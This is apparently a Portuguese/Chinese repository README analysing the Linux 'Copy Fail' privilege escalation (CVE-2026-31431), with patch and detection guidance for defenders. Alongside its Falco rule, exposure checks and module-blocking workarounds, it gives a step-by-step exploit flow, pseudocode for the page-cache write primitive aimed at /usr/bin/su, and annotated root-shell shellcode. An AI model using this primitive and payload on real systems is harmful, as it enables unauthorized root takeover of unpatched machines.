CVE-2026-31431 的教育性分析,该漏洞为 Linux 内核中通过 AF_ALG AEAD 就地操作实现的本地权限提升,包括技术根因、检测与缓解措施。
Análise técnica educacional de uma das vulnerabilidades mais significativas do kernel Linux desde o Dirty Pipe (2022).
Este repositório é voltado para pesquisa, estudo e defesa. Nenhum exploit funcional é distribuído aqui.
CVE-2026-31431, apelidada de Copy Fail, é uma vulnerabilidade de escalonamento local de privilégios (LPE — Local Privilege Escalation) no kernel Linux. Ela permite que qualquer usuário sem privilégios obtenha acesso root em questão de segundos.
| Atributo | Valor |
|---|---|
| CVE | CVE-2026-31431 |
| CVSS Score | 7.8 HIGH |
| Tipo | Local Privilege Escalation (LPE) |
| Subsistema | crypto/algif_aead.c — AF_ALG |
| Introduzida em | Kernel 4.14 (commit 72548b093ee3, julho 2017) |
| Corrigida em | 6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d) |
| Descoberta por | Taeyang Lee — Theori / Xint Code |
| Divulgação pública | 29 de abril de 2026 |
| PoC público | Sim — script Python de ~732 bytes |
Imagine que o sistema operacional tem uma memória de trabalho (chamada de page cache) onde guarda cópias dos arquivos que estão sendo usados. Quando você executa um programa, o sistema carrega esse programa nessa memória e o executa a partir dali — não diretamente do disco.
A Copy Fail permite que um usuário comum altere essa cópia em memória de um programa especial (um binário setuid, como o comando su) sem tocar no arquivo original no disco. O arquivo no disco continua intacto, mas quando o programa é executado, o sistema lê a versão corrompida da memória.
É como trocar a receita de um prato na memória de um chef enquanto ele está cozinhando — o livro de receitas original não muda, mas o prato que sai é completamente diferente.
O resultado: o programa corrompido executa código do atacante com permissões de root.
O que torna isso especialmente perigoso:
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## 技术工作原理
### 流程概述```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
该 bug 存在于 crypto/algif_aead.c 中。2017 年,AEAD 操作被转换为就地(in-place)操作以提升性能:```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
`authencesn` 算法使用目标缓冲区作为*临时空间*来重新排列 IPsec 的扩展序列号(ESN)字节:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
写入完全绕过了 VFS。被修改的页面永远不会被内核的 writeback 机制标记为 dirty。磁盘上的文件保持原样。基于哈希的完整性工具(aide、tripwire、inotifywait)检测不到任何变化,因为它们监控的是磁盘,而非 page cache。
该漏洞利用程序内嵌了一个 160 字节、经 zlib 压缩的迷你 ELF。解压后,可执行部分为:```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**最小 ELF 结构(共 160 字节):**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")
内核版本:
已确认存在有效利用的发行版:
必要条件: 内核中 CONFIG_CRYPTO_USER_API_AEAD=y 或 =m
检查系统是否暴露:```bash
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "
---
## Android 是否受影响?
**简短回答:** 标准 Android(AOSP/GKI)**实际上并不存在漏洞**,但采用非标准配置的设备值得检查。
### 按前置条件分析```
Pré-requisito Android AOSP/GKI padrão Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada ✅ Sim (Android 12–16) ✅ Sim
algif_aead habilitado ❌ Não (fora do GKI) ⚠️ Possível (OEM config)
AF_ALG acessível a apps ❌ Bloqueado SELinux+seccomp ⚠️ Depende da policy
Binário setuid disponível ❌ Android não usa setuid ⚠️ Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK ❌ Inviável ❌ Inviável
Exploração via ADB shell ❌ Bloqueado por SELinux ⚠️ Possível (permissive)
1. GKI 中缺少 CONFIG_CRYPTO_USER_API_AEAD
Google 没有在标准的 arm64 gki_defconfig 中包含该选项。Android 在 userspace 使用 BoringSSL 进行加密,不依赖 AF_ALG。
2. SELinux 强制模式
Android SELinux 的 untrusted_app 域没有 AF_ALG 的 create 权限。socket(AF_ALG, SOCK_SEQPACKET, 0) 调用在到达加密子系统之前就会被以 EACCES 拒绝。
3. Seccomp-bpf
Android 应用在 seccomp 过滤器下运行,该过滤器会阻止 domain=AF_ALG 的 socket() 调用——它不在第三方应用允许的 syscall 白名单中。
4. 缺少 setuid 二进制文件
Android 不使用传统 Linux 的 setuid 模型。特权二进制文件使用特定的 capabilities,或作为具有专用 UID 的服务运行。生产版 AOSP 构建中没有 /usr/bin/su。
adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD
adb shell getenforce
adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device"
adb shell find /system /vendor -perm -4000 -type f 2>/dev/null
---
## 检测
### Falco(运行时检测)```yaml
- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
desc: >
Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
condition: >
evt.type = socket
and evt.rawres >= 0
and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
and (evt.arg.type = 5 or evt.arg.type = 2053)
and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
integritysetup, kcapi-enc, kcapi-dgst)
output: >
AF_ALG AEAD socket por processo suspeito
(proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
priority: CRITICAL
tags: [CVE-2026-31431, kernel, privilege_escalation]
### 检查系统是否已被入侵```bash
# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)
# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição
sudo apt update && sudo apt upgrade linux-image-generic sudo reboot
sudo dnf upgrade kernel sudo reboot
sudo dnf upgrade kernel sudo reboot
sudo pacman -Syu linux sudo reboot
uname -r
**各系列已修复版本:**
| 系列 | 已修复版本 |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x | 6.1.170 |
| 6.6.x | 6.6.137 |
| 6.12.x | 6.12.85 |
| 6.18.x | **6.18.22** |
| 6.19.x | **6.19.12** |
| 7.0+ | **7.0**(包含修复) |
### 选项 2 — 禁用 algif_aead(临时解决方案)
**如果 `CONFIG_CRYPTO_USER_API_AEAD=m`(可加载模块):**```bash
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true
若 CONFIG_CRYPTO_USER_API_AEAD=y(内置——RHEL/Rocky/CloudLinux 的情况):
⚠️ 当模块编译进内核时,上述命令不起作用。```bash
grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot
cat /proc/cmdline | grep algif_aead_init
**确认 workaround 是否正常工作:**```bash
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
print('✅ Mitigação ativa — socket bloqueado')
"
Workaround 兼容性:
对 algif_aead 的阻止不会影响 dm-crypt/LUKS、kTLS、IPsec/XFRM、OpenSSL、GnuTLS、NSS、SSH。仅影响显式使用 AF_ALG 进行 AEAD 的应用程序(罕见——例如:使用 afalg 引擎的 OpenSSL、硬件加密卸载)。
{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] }
---
## 研究实现
本仓库以多种语言记录了该漏洞的机制,用于教育目的。重点是理解漏洞**如何**运作,而非分发攻击性工具。
### 机制结构(伪代码)```
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
alg = socket(AF_ALG, SEQPACKET)
alg.bind("authencesn(hmac(sha256),cbc(aes))")
alg.set_key(chave_36_bytes)
alg.set_authsize(4) ← 4 bytes = tamanho do write primitivo
op = alg.accept()
# O segredo: bytes[0:4] vão para posições [4:8] do AAD
# authencesn lerá isso como seqno_lo e escreverá no page cache
aad = [0,0,0,0] + bytes ← [seqno_hi=0][seqno_lo=bytes_desejados]
op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])
pipe_r, pipe_w = pipe()
splice(arquivo → pipe_w, len=offset+4, src_offset=0)
splice(pipe_r → op, len=offset+4)
# ↑ Injeta page cache na scatterlist do AF_ALG
op.recv() ← dispara authencesn → escrita acontece → EBADMSG ignorado
# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su") ← agora executa nosso ELF → root
文件 copyfail_study.md 包含完整且带注释的实现。
恢复的 shellcode(在从 PoC 进行 zlib 解压缩后)执行以下操作:```
Total: 26 bytes de código + 8 bytes de string = 34 bytes de shellcode dentro de um ELF de 160 bytes.
---
## Referências
| Recurso | Link |
|---|---|
| Writeup original (Theori/Xint) | https://xint.io/blog/copy-fail-linux-distributions |
| Site oficial da CVE | https://copy.fail |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| Repositório PoC original | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
| Patch mainline | https://git.kernel.org/stable/c/a664bf3d603d |
| Wikipedia | https://en.wikipedia.org/wiki/Copy_Fail |
| Análise Sysdig + Falco rule | https://sysdig.com/blog/cve-2026-31431-copy-fail |
| Análise Microsoft Defender | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
| FAQ Tenable | https://tenable.com/blog/copy-fail-cve-2026-31431 |
| Advisory CERT-EU | https://cert.europa.eu/publications/security-advisories/2026-005 |
| Análise Bugcrowd | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
| Discussão OSS-Security | https://openwall.com/lists/oss-security/2026/04/29/23 |
| AlmaLinux patch | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
| CloudLinux patch + análise workaround | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
| Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |
---
## 免责声明
本仓库**仅用于教育和防御性安全研究目的**。此处内容面向:
- 攻防安全专业人员
- 漏洞研究人员
- 信息安全专业学生
- 需要了解风险以便缓解风险的系统管理员
**未经所有者明确授权,请勿将本知识用于任何系统。** 未经授权访问计算机系统在几乎所有司法管辖区均属犯罪行为(在巴西,依据第 12.737/2012 号法律——Carolina Dieckmann 法;以及第 14.155/2021 号法律)。
---
*最后更新:2026 年 5 月*
*欢迎通过 PR 贡献——请保持教育和防御性重点。*
| Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) |
|---|
| CVE | CVE-2016-5195 | CVE-2022-0847 | CVE-2026-31431 |
| 类型 | CoW 中的竞态条件 | 无标志的管道缓冲区 | AEAD 中的逻辑错误 |
| 可靠性 | 依赖竞态(约毫秒级) | 确定性 | 确定性 |
| 磁盘痕迹 | 有(脏页) | 无 | 无 |
| 可移植性 | 广泛 | 特定版本 | 通用(2017–2026) |
| PoC 大小 | 约 50 行 C 代码 | 约 40 行 C 代码 | 约 10 行 Python |
| 子系统 | mm/ (CoW) | fs/ (pipe) | crypto/ (AF_ALG) |
| 发现方式 | 手动 | 手动 | AI 辅助 |
| 利用窗口 | 竞态窗口 | 无 | 无 |
| 场景 | 风险 |
|---|
| 带有 Magisk/KernelSU + SELinux permissive 的设备 | 高 —— 所有前提条件都可能满足 |
带有 CONFIG_CRYPTO_USER_API_AEAD=y 的 OEM 内核 + eng 构建 | 中 —— 取决于 shell 访问权限 |
| 未 root 设备上的恶意应用 | 无 —— SELinux + seccomp 会阻止 |
| 生产构建上的 ADB | 无 —— adb root 不起作用 |
| 语言 | 描述 |
|---|
| Python(反混淆后) | 原始 PoC 的干净且带注释的版本 |
| NASM x86_64 | 逐条指令注释的 ELF payload |
| Go | 使用 syscall.RawSyscall6 直接调用 SYS_SPLICE 和 SYS_SETSOCKOPT |
| C | 使用 struct msghdr、CMSG_DATA 和 zlib 运行时实现 |